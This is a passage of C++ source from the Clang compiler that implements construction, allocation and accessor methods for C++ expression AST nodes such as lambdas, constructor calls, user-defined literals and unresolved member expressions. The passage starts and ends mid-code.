EmptyShell Empty) : CallExpr(UserDefinedLiteralClass, /*NumPreArgs=*/0, NumArgs, Empty) {} UserDefinedLiteral *UserDefinedLiteral::Create(const ASTContext &Ctx, Expr *Fn, ArrayRef<Expr *> Args, QualType Ty, ExprValueKind VK, SourceLocation LitEndLoc, SourceLocation SuffixLoc) { // Allocate storage for the trailing objects of CallExpr. unsigned NumArgs = Args.size(); unsigned SizeOfTrailingObjects = CallExpr::sizeOfTrailingObjects(/*NumPreArgs=*/0, NumArgs); void *Mem = Ctx.Allocate(sizeof(UserDefinedLiteral) + SizeOfTrailingObjects, alignof(UserDefinedLiteral)); return new (Mem) UserDefinedLiteral(Fn, Args, Ty, VK, LitEndLoc, SuffixLoc); } UserDefinedLiteral *UserDefinedLiteral::CreateEmpty(const ASTContext &Ctx, unsigned NumArgs, EmptyShell Empty) { // Allocate storage for the trailing objects of CallExpr. unsigned SizeOfTrailingObjects = CallExpr::sizeOfTrailingObjects(/*NumPreArgs=*/0, NumArgs); void *Mem = Ctx.Allocate(sizeof(UserDefinedLiteral) + SizeOfTrailingObjects, alignof(UserDefinedLiteral)); return new (Mem) UserDefinedLiteral(NumArgs, Empty); } UserDefinedLiteral::LiteralOperatorKind UserDefinedLiteral::getLiteralOperatorKind() const { if (getNumArgs() == 0) return LOK_Template; if (getNumArgs() == 2) return LOK_String; assert(getNumArgs() == 1 && "unexpected #args in literal operator call"); QualType ParamTy = cast<FunctionDecl>(getCalleeDecl())->getParamDecl(0)->getType(); if (ParamTy->isPointerType()) return LOK_Raw; if (ParamTy->isAnyCharacterType()) return LOK_Character; if (ParamTy->isIntegerType()) return LOK_Integer; if (ParamTy->isFloatingType()) return LOK_Floating; llvm_unreachable("unknown kind of literal operator"); } Expr *UserDefinedLiteral::getCookedLiteral() { #ifndef NDEBUG LiteralOperatorKind LOK = getLiteralOperatorKind(); assert(LOK != LOK_Template && LOK != LOK_Raw && "not a cooked literal"); #endif return getArg(0); } const IdentifierInfo *UserDefinedLiteral::getUDSuffix() const { return cast<FunctionDecl>(getCalleeDecl())->getLiteralIdentifier(); } CXXDefaultInitExpr::CXXDefaultInitExpr(const ASTContext &Ctx, SourceLocation Loc, FieldDecl *Field, QualType Ty, DeclContext *UsedContext) : Expr(CXXDefaultInitExprClass, Ty.getNonLValueExprType(Ctx), Ty->isLValueReferenceType() ? VK_LValue : Ty->isRValueReferenceType() ? VK_XValue : VK_RValue, /*FIXME*/ OK_Ordinary, false, false, false, false), Field(Field), UsedContext(UsedContext) { CXXDefaultInitExprBits.Loc = Loc; assert(Field->hasInClassInitializer()); } CXXTemporary *CXXTemporary::Create(const ASTContext &C, const CXXDestructorDecl *Destructor) { return new (C) CXXTemporary(Destructor); } CXXBindTemporaryExpr *CXXBindTemporaryExpr::Create(const ASTContext &C, CXXTemporary *Temp, Expr* SubExpr) { assert((SubExpr->getType()->isRecordType() || SubExpr->getType()->isArrayType()) && "Expression bound to a temporary must have record or array type!"); return new (C) CXXBindTemporaryExpr(Temp, SubExpr); } CXXTemporaryObjectExpr::CXXTemporaryObjectExpr( CXXConstructorDecl *Cons, QualType Ty, TypeSourceInfo *TSI, ArrayRef<Expr *> Args, SourceRange ParenOrBraceRange, bool HadMultipleCandidates, bool ListInitialization, bool StdInitListInitialization, bool ZeroInitialization) : CXXConstructExpr( CXXTemporaryObjectExprClass, Ty, TSI->getTypeLoc().getBeginLoc(), Cons, /* Elidable=*/false, Args, HadMultipleCandidates, ListInitialization, StdInitListInitialization, ZeroInitialization, CXXConstructExpr::CK_Complete, ParenOrBraceRange), TSI(TSI) {} CXXTemporaryObjectExpr::CXXTemporaryObjectExpr(EmptyShell Empty, unsigned NumArgs) : CXXConstructExpr(CXXTemporaryObjectExprClass, Empty, NumArgs) {} CXXTemporaryObjectExpr *CXXTemporaryObjectExpr::Create( const ASTContext &Ctx, CXXConstructorDecl *Cons, QualType Ty, TypeSourceInfo *TSI, ArrayRef<Expr *> Args, SourceRange ParenOrBraceRange, bool HadMultipleCandidates, bool ListInitialization, bool StdInitListInitialization, bool ZeroInitialization) { unsigned SizeOfTrailingObjects = sizeOfTrailingObjects(Args.size()); void *Mem = Ctx.Allocate(sizeof(CXXTemporaryObjectExpr) + SizeOfTrailingObjects, alignof(CXXTemporaryObjectExpr)); return new (Mem) CXXTemporaryObjectExpr( Cons, Ty, TSI, Args, ParenOrBraceRange, HadMultipleCandidates, ListInitialization, StdInitListInitialization, ZeroInitialization); } CXXTemporaryObjectExpr * CXXTemporaryObjectExpr::CreateEmpty(const ASTContext &Ctx, unsigned NumArgs) { unsigned SizeOfTrailingObjects = sizeOfTrailingObjects(NumArgs); void *Mem = Ctx.Allocate(sizeof(CXXTemporaryObjectExpr) + SizeOfTrailingObjects, alignof(CXXTemporaryObjectExpr)); return new (Mem) CXXTemporaryObjectExpr(EmptyShell(), NumArgs); } SourceLocation CXXTemporaryObjectExpr::getBeginLoc() const { return getTypeSourceInfo()->getTypeLoc().getBeginLoc(); } SourceLocation CXXTemporaryObjectExpr::getEndLoc() const { SourceLocation Loc = getParenOrBraceRange().getEnd(); if (Loc.isInvalid() && getNumArgs()) Loc = getArg(getNumArgs() - 1)->getEndLoc(); return Loc; } CXXConstructExpr *CXXConstructExpr::Create( const ASTContext &Ctx, QualType Ty, SourceLocation Loc, CXXConstructorDecl *Ctor, bool Elidable, ArrayRef<Expr *> Args, bool HadMultipleCandidates, bool ListInitialization, bool StdInitListInitialization, bool ZeroInitialization, ConstructionKind ConstructKind, SourceRange ParenOrBraceRange) { unsigned SizeOfTrailingObjects = sizeOfTrailingObjects(Args.size()); void *Mem = Ctx.Allocate(sizeof(CXXConstructExpr) + SizeOfTrailingObjects, alignof(CXXConstructExpr)); return new (Mem) CXXConstructExpr( CXXConstructExprClass, Ty, Loc, Ctor, Elidable, Args, HadMultipleCandidates, ListInitialization, StdInitListInitialization, ZeroInitialization, ConstructKind, ParenOrBraceRange); } CXXConstructExpr *CXXConstructExpr::CreateEmpty(const ASTContext &Ctx, unsigned NumArgs) { unsigned SizeOfTrailingObjects = sizeOfTrailingObjects(NumArgs); void *Mem = Ctx.Allocate(sizeof(CXXConstructExpr) + SizeOfTrailingObjects, alignof(CXXConstructExpr)); return new (Mem) CXXConstructExpr(CXXConstructExprClass, EmptyShell(), NumArgs); } CXXConstructExpr::CXXConstructExpr( StmtClass SC, QualType Ty, SourceLocation Loc, CXXConstructorDecl *Ctor, bool Elidable, ArrayRef<Expr *> Args, bool HadMultipleCandidates, bool ListInitialization, bool StdInitListInitialization, bool ZeroInitialization, ConstructionKind ConstructKind, SourceRange ParenOrBraceRange) : Expr(SC, Ty, VK_RValue, OK_Ordinary, Ty->isDependentType(), Ty->isDependentType(), Ty->isInstantiationDependentType(), Ty->containsUnexpandedParameterPack()), Constructor(Ctor), ParenOrBraceRange(ParenOrBraceRange), NumArgs(Args.size()) { CXXConstructExprBits.Elidable = Elidable; CXXConstructExprBits.HadMultipleCandidates = HadMultipleCandidates; CXXConstructExprBits.ListInitialization = ListInitialization; CXXConstructExprBits.StdInitListInitialization = StdInitListInitialization; CXXConstructExprBits.ZeroInitialization = ZeroInitialization; CXXConstructExprBits.ConstructionKind = ConstructKind; CXXConstructExprBits.Loc = Loc; Stmt **TrailingArgs = getTrailingArgs(); for (unsigned I = 0, N = Args.size(); I != N; ++I) { assert(Args[I] && "NULL argument in CXXConstructExpr!"); if (Args[I]->isValueDependent()) ExprBits.ValueDependent = true; if (Args[I]->isInstantiationDependent()) ExprBits.InstantiationDependent = true; if (Args[I]->containsUnexpandedParameterPack()) ExprBits.ContainsUnexpandedParameterPack = true; TrailingArgs[I] = Args[I]; } } CXXConstructExpr::CXXConstructExpr(StmtClass SC, EmptyShell Empty, unsigned NumArgs) : Expr(SC, Empty), NumArgs(NumArgs) {} LambdaCapture::LambdaCapture(SourceLocation Loc, bool Implicit, LambdaCaptureKind Kind, VarDecl *Var, SourceLocation EllipsisLoc) : DeclAndBits(Var, 0), Loc(Loc), EllipsisLoc(EllipsisLoc) { unsigned Bits = 0; if (Implicit) Bits |= Capture_Implicit; switch (Kind) { case LCK_StarThis: Bits |= Capture_ByCopy; LLVM_FALLTHROUGH; case LCK_This: assert(!Var && "'this' capture cannot have a variable!"); Bits |= Capture_This; break; case LCK_ByCopy: Bits |= Capture_ByCopy; LLVM_FALLTHROUGH; case LCK_ByRef: assert(Var && "capture must have a variable!"); break; case LCK_VLAType: assert(!Var && "VLA type capture cannot have a variable!"); break; } DeclAndBits.setInt(Bits); } LambdaCaptureKind LambdaCapture::getCaptureKind() const { if (capturesVLAType()) return LCK_VLAType; bool CapByCopy = DeclAndBits.getInt() & Capture_ByCopy; if (capturesThis()) return CapByCopy ? LCK_StarThis : LCK_This; return CapByCopy ? LCK_ByCopy : LCK_ByRef; } LambdaExpr::LambdaExpr(QualType T, SourceRange IntroducerRange, LambdaCaptureDefault CaptureDefault, SourceLocation CaptureDefaultLoc, ArrayRef<LambdaCapture> Captures, bool ExplicitParams, bool ExplicitResultType, ArrayRef<Expr *> CaptureInits, SourceLocation ClosingBrace, bool ContainsUnexpandedParameterPack) : Expr(LambdaExprClass, T, VK_RValue, OK_Ordinary, T->isDependentType(), T->isDependentType(), T->isDependentType(), ContainsUnexpandedParameterPack), IntroducerRange(IntroducerRange), CaptureDefaultLoc(CaptureDefaultLoc), NumCaptures(Captures.size()), CaptureDefault(CaptureDefault), ExplicitParams(ExplicitParams), ExplicitResultType(ExplicitResultType), ClosingBrace(ClosingBrace) { assert(CaptureInits.size() == Captures.size() && "Wrong number of arguments"); CXXRecordDecl *Class = getLambdaClass(); CXXRecordDecl::LambdaDefinitionData &Data = Class->getLambdaData(); // FIXME: Propagate "has unexpanded parameter pack" bit. // Copy captures. const ASTContext &Context = Class->getASTContext(); Data.NumCaptures = NumCaptures; Data.NumExplicitCaptures = 0; Data.Captures = (LambdaCapture *)Context.Allocate(sizeof(LambdaCapture) * NumCaptures); LambdaCapture *ToCapture = Data.Captures; for (unsigned I = 0, N = Captures.size(); I != N; ++I) { if (Captures[I].isExplicit()) ++Data.NumExplicitCaptures; *ToCapture++ = Captures[I]; } // Copy initialization expressions for the non-static data members. Stmt **Stored = getStoredStmts(); for (unsigned I = 0, N = CaptureInits.size(); I != N; ++I) *Stored++ = CaptureInits[I]; // Copy the body of the lambda. *Stored++ = getCallOperator()->getBody(); } LambdaExpr *LambdaExpr::Create( const ASTContext &Context, CXXRecordDecl *Class, SourceRange IntroducerRange, LambdaCaptureDefault CaptureDefault, SourceLocation CaptureDefaultLoc, ArrayRef<LambdaCapture> Captures, bool ExplicitParams, bool ExplicitResultType, ArrayRef<Expr *> CaptureInits, SourceLocation ClosingBrace, bool ContainsUnexpandedParameterPack) { // Determine the type of the expression (i.e., the type of the // function object we're creating). QualType T = Context.getTypeDeclType(Class); unsigned Size = totalSizeToAlloc<Stmt *>(Captures.size() + 1); void *Mem = Context.Allocate(Size); return new (Mem) LambdaExpr(T, IntroducerRange, CaptureDefault, CaptureDefaultLoc, Captures, ExplicitParams, ExplicitResultType, CaptureInits, ClosingBrace, ContainsUnexpandedParameterPack); } LambdaExpr *LambdaExpr::CreateDeserialized(const ASTContext &C, unsigned NumCaptures) { unsigned Size = totalSizeToAlloc<Stmt *>(NumCaptures + 1); void *Mem = C.Allocate(Size); return new (Mem) LambdaExpr(EmptyShell(), NumCaptures); } bool LambdaExpr::isInitCapture(const LambdaCapture *C) const { return (C->capturesVariable() && C->getCapturedVar()->isInitCapture() && (getCallOperator() == C->getCapturedVar()->getDeclContext())); } LambdaExpr::capture_iterator LambdaExpr::capture_begin() const { return getLambdaClass()->getLambdaData().Captures; } LambdaExpr::capture_iterator LambdaExpr::capture_end() const { return capture_begin() + NumCaptures; } LambdaExpr::capture_range LambdaExpr::captures() const { return capture_range(capture_begin(), capture_end()); } LambdaExpr::capture_iterator LambdaExpr::explicit_capture_begin() const { return capture_begin(); } LambdaExpr::capture_iterator LambdaExpr::explicit_capture_end() const { struct CXXRecordDecl::LambdaDefinitionData &Data = getLambdaClass()->getLambdaData(); return Data.Captures + Data.NumExplicitCaptures; } LambdaExpr::capture_range LambdaExpr::explicit_captures() const { return capture_range(explicit_capture_begin(), explicit_capture_end()); } LambdaExpr::capture_iterator LambdaExpr::implicit_capture_begin() const { return explicit_capture_end(); } LambdaExpr::capture_iterator LambdaExpr::implicit_capture_end() const { return capture_end(); } LambdaExpr::capture_range LambdaExpr::implicit_captures() const { return capture_range(implicit_capture_begin(), implicit_capture_end()); } CXXRecordDecl *LambdaExpr::getLambdaClass() const { return getType()->getAsCXXRecordDecl(); } CXXMethodDecl *LambdaExpr::getCallOperator() const { CXXRecordDecl *Record = getLambdaClass(); return Record->getLambdaCallOperator(); } FunctionTemplateDecl *LambdaExpr::getDependentCallOperator() const { CXXRecordDecl *Record = getLambdaClass(); return Record->getDependentLambdaCallOperator(); } TemplateParameterList *LambdaExpr::getTemplateParameterList() const { CXXRecordDecl *Record = getLambdaClass(); return Record->getGenericLambdaTemplateParameterList(); } ArrayRef<NamedDecl *> LambdaExpr::getExplicitTemplateParameters() const { const CXXRecordDecl *Record = getLambdaClass(); return Record->getLambdaExplicitTemplateParameters(); } CompoundStmt *LambdaExpr::getBody() const { // FIXME: this mutation in getBody is bogus. It should be // initialized in ASTStmtReader::VisitLambdaExpr, but for reasons I // don't understand, that doesn't work. if (!getStoredStmts()[NumCaptures]) *const_cast<Stmt **>(&getStoredStmts()[NumCaptures]) = getCallOperator()->getBody(); return static_cast<CompoundStmt *>(getStoredStmts()[NumCaptures]); } bool LambdaExpr::isMutable() const { return !getCallOperator()->isConst(); } ExprWithCleanups::ExprWithCleanups(Expr *subexpr, bool CleanupsHaveSideEffects, ArrayRef<CleanupObject> objects) : FullExpr(ExprWithCleanupsClass, subexpr) { ExprWithCleanupsBits.CleanupsHaveSideEffects = CleanupsHaveSideEffects; ExprWithCleanupsBits.NumObjects = objects.size(); for (unsigned i = 0, e = objects.size(); i != e; ++i) getTrailingObjects<CleanupObject>()[i] = objects[i]; } ExprWithCleanups *ExprWithCleanups::Create(const ASTContext &C, Expr *subexpr, bool CleanupsHaveSideEffects, ArrayRef<CleanupObject> objects) { void *buffer = C.Allocate(totalSizeToAlloc<CleanupObject>(objects.size()), alignof(ExprWithCleanups)); return new (buffer) ExprWithCleanups(subexpr, CleanupsHaveSideEffects, objects); } ExprWithCleanups::ExprWithCleanups(EmptyShell empty, unsigned numObjects) : FullExpr(ExprWithCleanupsClass, empty) { ExprWithCleanupsBits.NumObjects = numObjects; } ExprWithCleanups *ExprWithCleanups::Create(const ASTContext &C, EmptyShell empty, unsigned numObjects) { void *buffer = C.Allocate(totalSizeToAlloc<CleanupObject>(numObjects), alignof(ExprWithCleanups)); return new (buffer) ExprWithCleanups(empty, numObjects); } CXXUnresolvedConstructExpr::CXXUnresolvedConstructExpr(TypeSourceInfo *TSI, SourceLocation LParenLoc, ArrayRef<Expr *> Args, SourceLocation RParenLoc) : Expr(CXXUnresolvedConstructExprClass, TSI->getType().getNonReferenceType(), (TSI->getType()->isLValueReferenceType() ? VK_LValue : TSI->getType()->isRValueReferenceType() ? VK_XValue : VK_RValue), OK_Ordinary, TSI->getType()->isDependentType() || TSI->getType()->getContainedDeducedType(), true, true, TSI->getType()->containsUnexpandedParameterPack()), TSI(TSI), LParenLoc(LParenLoc), RParenLoc(RParenLoc) { CXXUnresolvedConstructExprBits.NumArgs = Args.size(); auto **StoredArgs = getTrailingObjects<Expr *>(); for (unsigned I = 0; I != Args.size(); ++I) { if (Args[I]->containsUnexpandedParameterPack()) ExprBits.ContainsUnexpandedParameterPack = true; StoredArgs[I] = Args[I]; } } CXXUnresolvedConstructExpr *CXXUnresolvedConstructExpr::Create( const ASTContext &Context, TypeSourceInfo *TSI, SourceLocation LParenLoc, ArrayRef<Expr *> Args, SourceLocation RParenLoc) { void *Mem = Context.Allocate(totalSizeToAlloc<Expr *>(Args.size())); return new (Mem) CXXUnresolvedConstructExpr(TSI, LParenLoc, Args, RParenLoc); } CXXUnresolvedConstructExpr * CXXUnresolvedConstructExpr::CreateEmpty(const ASTContext &Context, unsigned NumArgs) { void *Mem = Context.Allocate(totalSizeToAlloc<Expr *>(NumArgs)); return new (Mem) CXXUnresolvedConstructExpr(EmptyShell(), NumArgs); } SourceLocation CXXUnresolvedConstructExpr::getBeginLoc() const { return TSI->getTypeLoc().getBeginLoc(); } CXXDependentScopeMemberExpr::CXXDependentScopeMemberExpr( const ASTContext &Ctx, Expr *Base, QualType BaseType, bool IsArrow, SourceLocation OperatorLoc, NestedNameSpecifierLoc QualifierLoc, SourceLocation TemplateKWLoc, NamedDecl *FirstQualifierFoundInScope, DeclarationNameInfo MemberNameInfo, const TemplateArgumentListInfo *TemplateArgs) : Expr(CXXDependentScopeMemberExprClass, Ctx.DependentTy, VK_LValue, OK_Ordinary, true, true, true, ((Base && Base->containsUnexpandedParameterPack()) || (QualifierLoc && QualifierLoc.getNestedNameSpecifier() ->containsUnexpandedParameterPack()) || MemberNameInfo.containsUnexpandedParameterPack())), Base(Base), BaseType(BaseType), QualifierLoc(QualifierLoc), MemberNameInfo(MemberNameInfo) { CXXDependentScopeMemberExprBits.IsArrow = IsArrow; CXXDependentScopeMemberExprBits.HasTemplateKWAndArgsInfo = (TemplateArgs != nullptr) || TemplateKWLoc.isValid(); CXXDependentScopeMemberExprBits.HasFirstQualifierFoundInScope = FirstQualifierFoundInScope != nullptr; CXXDependentScopeMemberExprBits.OperatorLoc = OperatorLoc; if (TemplateArgs) { bool Dependent = true; bool InstantiationDependent = true; bool ContainsUnexpandedParameterPack = false; getTrailingObjects<ASTTemplateKWAndArgsInfo>()->initializeFrom( TemplateKWLoc, *TemplateArgs, getTrailingObjects<TemplateArgumentLoc>(), Dependent, InstantiationDependent, ContainsUnexpandedParameterPack); if (ContainsUnexpandedParameterPack) ExprBits.ContainsUnexpandedParameterPack = true; } else if (TemplateKWLoc.isValid()) { getTrailingObjects<ASTTemplateKWAndArgsInfo>()->initializeFrom( TemplateKWLoc); } if (hasFirstQualifierFoundInScope()) *getTrailingObjects<NamedDecl *>() = FirstQualifierFoundInScope; } CXXDependentScopeMemberExpr::CXXDependentScopeMemberExpr( EmptyShell Empty, bool HasTemplateKWAndArgsInfo, bool HasFirstQualifierFoundInScope) : Expr(CXXDependentScopeMemberExprClass, Empty) { CXXDependentScopeMemberExprBits.HasTemplateKWAndArgsInfo = HasTemplateKWAndArgsInfo; CXXDependentScopeMemberExprBits.HasFirstQualifierFoundInScope = HasFirstQualifierFoundInScope; } CXXDependentScopeMemberExpr *CXXDependentScopeMemberExpr::Create( const ASTContext &Ctx, Expr *Base, QualType BaseType, bool IsArrow, SourceLocation OperatorLoc, NestedNameSpecifierLoc QualifierLoc, SourceLocation TemplateKWLoc, NamedDecl *FirstQualifierFoundInScope, DeclarationNameInfo MemberNameInfo, const TemplateArgumentListInfo *TemplateArgs) { bool HasTemplateKWAndArgsInfo = (TemplateArgs != nullptr) || TemplateKWLoc.isValid(); unsigned NumTemplateArgs = TemplateArgs ? TemplateArgs->size() : 0; bool HasFirstQualifierFoundInScope = FirstQualifierFoundInScope != nullptr; unsigned Size = totalSizeToAlloc<ASTTemplateKWAndArgsInfo, TemplateArgumentLoc, NamedDecl *>( HasTemplateKWAndArgsInfo, NumTemplateArgs, HasFirstQualifierFoundInScope); void *Mem = Ctx.Allocate(Size, alignof(CXXDependentScopeMemberExpr)); return new (Mem) CXXDependentScopeMemberExpr( Ctx, Base, BaseType, IsArrow, OperatorLoc, QualifierLoc, TemplateKWLoc, FirstQualifierFoundInScope, MemberNameInfo, TemplateArgs); } CXXDependentScopeMemberExpr *CXXDependentScopeMemberExpr::CreateEmpty( const ASTContext &Ctx, bool HasTemplateKWAndArgsInfo, unsigned NumTemplateArgs, bool HasFirstQualifierFoundInScope) { assert(NumTemplateArgs == 0 || HasTemplateKWAndArgsInfo); unsigned Size = totalSizeToAlloc<ASTTemplateKWAndArgsInfo, TemplateArgumentLoc, NamedDecl *>( HasTemplateKWAndArgsInfo, NumTemplateArgs, HasFirstQualifierFoundInScope); void *Mem = Ctx.Allocate(Size, alignof(CXXDependentScopeMemberExpr)); return new (Mem) CXXDependentScopeMemberExpr( EmptyShell(), HasTemplateKWAndArgsInfo, HasFirstQualifierFoundInScope); } static bool hasOnlyNonStaticMemberFunctions(UnresolvedSetIterator begin, UnresolvedSetIterator end) { do { NamedDecl *decl = *begin; if (isa<UnresolvedUsingValueDecl>(decl)) return false; // Unresolved member expressions should only contain methods and // method templates. if (cast<CXXMethodDecl>(decl->getUnderlyingDecl()->getAsFunction()) ->isStatic()) return false; } while (++begin != end); return true; } UnresolvedMemberExpr::UnresolvedMemberExpr( const ASTContext &Context, bool HasUnresolvedUsing, Expr *Base, QualType BaseType, bool IsArrow, SourceLocation OperatorLoc, NestedNameSpecifierLoc QualifierLoc, SourceLocation TemplateKWLoc, const DeclarationNameInfo &MemberNameInfo, const TemplateArgumentListInfo *TemplateArgs, UnresolvedSetIterator Begin, UnresolvedSetIterator End) : OverloadExpr( UnresolvedMemberExprClass, Context, QualifierLoc, TemplateKWLoc, MemberNameInfo, TemplateArgs, Begin, End, // Dependent ((Base && Base->isTypeDependent()) || BaseType->isDependentType()), ((Base && Base->isInstantiationDependent()) || BaseType->isInstantiationDependentType()), // Contains unexpanded parameter pack ((Base && Base->containsUnexpandedParameterPack()) || BaseType->containsUnexpandedParameterPack())), Base(Base), BaseType(BaseType), OperatorLoc(OperatorLoc) { UnresolvedMemberExprBits.IsArrow = IsArrow; UnresolvedMemberExprBits.HasUnresolvedUsing = HasUnresolvedUsing; // Check whether all of the members are non-static member functions, // and if so, mark give this bound-member type instead of overload type. if (hasOnlyNonStaticMemberFunctions(Begin, End)) setType(Context.BoundMemberTy); } UnresolvedMemberExpr::UnresolvedMemberExpr(EmptyShell Empty, unsigned NumResults, bool HasTemplateKWAndArgsInfo) : OverloadExpr(UnresolvedMemberExprClass, Empty, NumResults, HasTemplateKWAndArgsInfo) {} bool UnresolvedMemberExpr::isImplicitAccess() const { if (!Base) return true; return cast<Expr>(Base)->isImplicitCXXThis(); } UnresolvedMemberExpr *UnresolvedMemberExpr::Create( const ASTContext &Context, bool HasUnresolvedUsing, Expr *Base, QualType BaseType, bool IsArrow, SourceLocation OperatorLoc, NestedNameSpecifierLoc QualifierLoc, SourceLocation TemplateKWLoc, const DeclarationNameInfo &MemberNameInfo, const TemplateArgumentListInfo *TemplateArgs, UnresolvedSetIterator Begin, UnresolvedSetIterator End) { unsigned NumResults = End - Begin; bool HasTemplateKWAndArgsInfo = TemplateArgs || TemplateKWLoc.isValid(); unsigned NumTemplateArgs = TemplateArgs ? TemplateArgs->size() : 0; unsigned Size = totalSizeToAlloc<DeclAccessPair, ASTTemplateKWAndArgsInfo, TemplateArgumentLoc>( NumResults, HasTemplateKWAndArgsInfo, NumTemplateArgs); void *Mem = Context.Allocate(Size, alignof(UnresolvedMemberExpr)); return new (Mem) UnresolvedMemberExpr( Context, HasUnresolvedUsing, Base, BaseType, IsArrow, OperatorLoc, QualifierLoc, TemplateKWLoc, MemberNameInfo, TemplateArgs, Begin, End); } UnresolvedMemberExpr *UnresolvedMemberExpr::CreateEmpty( const ASTContext &Context, unsigned NumResults, bool HasTemplateKWAndArgsInfo, unsigned NumTemplateArgs) { assert(NumTemplateArgs == 0 || HasTemplateKWAndArgsInfo); unsigned Size = totalSizeToAlloc<DeclAccessPair, ASTTemplateKWAndArgsInfo, TemplateArgumentLoc>( NumResults, HasTemplateKWAndArgsInfo, NumTemplateArgs); void *Mem = Context.Allocate(Size, alignof(UnresolvedMemberExpr)); return new (Mem) UnresolvedMemberExpr(EmptyShell(), NumResults, HasTemplateKWAndArgsInfo); } CXXRecordDecl *UnresolvedMemberExpr::getNamingClass() { // Unlike for UnresolvedLookupExpr, it is very easy to re-derive this. // If there was a nested name specifier, it names the naming class. // It can't be dependent: after all, we were actually able to do the // lookup. CXXRecordDecl *Record = nullptr; auto *NNS = getQualifier(); if (NNS && NNS->getKind() != NestedNameSpecifier::Super) { const Type *T = getQualifier()->getAsType(); assert(T && "qualifier in member expression does not name type"); Record = T->getAsCXXRecordDecl(); assert(Record && "qualifier in member expression does not name record"); } // Otherwise the naming class must have been the base class. else { QualType BaseType = getBaseType().getNonReferenceType(); if (isArrow()) BaseType = BaseType->castAs<PointerType>()->getPointeeType(); Record = BaseType->getAsCXXRecordDecl(); assert(Record && "base of member expression does not name record"); } return Record; } SizeOfPackExpr * SizeOfPackExpr::Create(ASTContext &Context, SourceLocation OperatorLoc, NamedDecl *Pack, SourceLocation PackLoc, SourceLocation RParenLoc, Optional<unsigned> Length, ArrayRef<TemplateArgument> PartialArgs) { void *Storage = Context.Allocate(totalSizeToAlloc<TemplateArgument>(PartialArgs.size())); return new (Storage) SizeOfPackExpr(Context.getSizeType(), OperatorLoc, Pack, PackLoc, RParenLoc, Length, PartialArgs); } SizeOfPackExpr *SizeOfPackExpr::CreateDeserialized(ASTContext &Context, unsigned NumPartialArgs) { void *Storage = Context.Allocate(totalSizeToAlloc<TemplateArgument>(NumPartialArgs)); return new (Storage) SizeOfPackExpr(EmptyShell(), NumPartialArgs); } SubstNonTypeTemplateParmPackExpr:: SubstNonTypeTemplateParmPackExpr(QualType T, ExprValueKind ValueKind, NonTypeTemplateParmDecl *Param, SourceLocation NameLoc, const TemplateArgument &ArgPack) : Expr(SubstNonTypeTemplateParmPackExprClass, T, ValueKind, OK_Ordinary, true, true, true, true), Param(Param), Arguments(ArgPack.pack_begin()), NumArguments(ArgPack.pack_size()), NameLoc(NameLoc) {} TemplateArgument SubstNonTypeTemplateParmPackExpr::getArgumentPack() const { return TemplateArgument(llvm::makeArrayRef(Arguments, NumArguments)); } FunctionParmPackExpr::FunctionParmPackExpr(QualType T, VarDecl *ParamPack, SourceLocation NameLoc, unsigned NumParams, VarDecl *const *Params) : Expr(FunctionParmPackExprClass, T, VK_LValue, OK_Ordinary, true, true, true, true), ParamPack(ParamPack), NameLoc(NameLoc), NumParameters(NumParams) { if (Params) std::uninitialized_copy(Params, Params + NumParams, getTrailingObjects<VarDecl *>()); } FunctionParmPackExpr * FunctionParmPackExpr::Create(const ASTContext &Context, QualType T, VarDecl *ParamPack, SourceLocation NameLoc, ArrayRef<VarDecl *> Params) { return new (Context.Allocate(totalSizeToAlloc<VarDecl *>(Params.size()))) FunctionParmPackExpr(T, ParamPack, NameLoc, Params.size(), Params.data()); } FunctionParmPackExpr * FunctionParmPackExpr::CreateEmpty(const ASTContext &Context, unsigned NumParams) { return new (Context.Allocate(totalSizeToAlloc<VarDecl *>(NumParams))) FunctionParmPackExpr(QualType(), nullptr, SourceLocation(), 0, nullptr); } void MaterializeTemporaryExpr::setExtendingDecl(const ValueDecl *ExtendedBy, unsigned ManglingNumber) { // We only need extra state if we have to remember more than just the Stmt. if (!ExtendedBy) return; // We may need to allocate extra storage for the mangling number and the // extended-by ValueDecl. if (!State.is<ExtraState *>()) { auto *ES = new (ExtendedBy->getASTContext()) ExtraState; ES->Temporary = State.get<Stmt *>(); State = ES; } auto ES = State.get<ExtraState *>(); ES->ExtendingDecl = ExtendedBy; ES->ManglingNumber = ManglingNumber; } TypeTraitExpr::TypeTraitExpr(QualType T, SourceLocation Loc, TypeTrait Kind, ArrayRef<TypeSourceInfo *> Args, SourceLocation RParenLoc, bool Value) : Expr(TypeTraitExprClass, T, VK_RValue, OK_Ordinary, /*TypeDependent=*/false, /*ValueDependent=*/false, /*InstantiationDependent=*/false, /*ContainsUnexpandedParameterPack=*/false), Loc(Loc), RParenLoc(RParenLoc) { TypeTraitExprBits.Kind = Kind; TypeTraitExprBits.Value = Value; TypeTraitExprBits.NumArgs = Args.size(); auto **ToArgs = getTrailingObjects<TypeSourceInfo *>(); for (unsigned I = 0, N = Args.size(); I != N; ++I) { if (Args[I]->getType()->isDependentType()) setValueDependent(true); if (Args[I]->getType()->isInstantiationDependentType()) setInstantiationDependent(true); if (Args[I]->getType()->containsUnexpandedParameterPack()) setContainsUnexpandedParameterPack(true); ToArgs[I] = Args[I]; } } TypeTraitExpr *TypeTraitExpr::Create(const ASTContext &C, QualType T, SourceLocation Loc, TypeTrait Kind, ArrayRef<TypeSourceInfo *> Args, SourceLocation RParenLoc, bool Value) { void *Mem = C.Allocate(totalSizeToAlloc<TypeSourceInfo *>(Args.size())); return new (Mem) TypeTraitExpr(T, Loc, Kind, Args, RParenLoc, Value); } TypeTraitExpr *TypeTraitExpr::CreateDeserialized(const ASTContext &C, unsigned NumArgs) { void *Mem = C.Allocate(totalSizeToAlloc<TypeSourceInfo *>(NumArgs)); return new (Mem) TypeTraitExpr(EmptyShell()); } CUDAKernelCallExpr::CUDAKernelCallExpr(Expr *Fn, CallExpr *Config, ArrayRef<Expr *> Args, QualType Ty, ExprValueKind VK, SourceLocation RP, unsigned MinNumArgs) : CallExpr(CUDAKernelCallExprClass, Fn, /*PreArgs=*/Config, Args, Ty, VK, RP, MinNumArgs, NotADL) {} CUDAKernelCallExpr::CUDAKernelCallExpr(unsigned NumArgs, EmptyShell Empty) : CallExpr(CUDAKernelCallExprClass, /*NumPreArgs=*/END_PREARG, NumArgs, Empty) {} CUDAKernelCallExpr * CUDAKernelCallExpr::Create(const ASTContext &Ctx, Expr *Fn, CallExpr *Config, ArrayRef<Expr *> Args, QualType Ty, ExprValueKind VK, SourceLocation RP, unsigned MinNumArgs) { // Allocate storage for the trailing objects of CallExpr. unsigned NumArgs = std::max<unsigned>(Args.size(), MinNumArgs); unsigned SizeOfTrailingObjects = 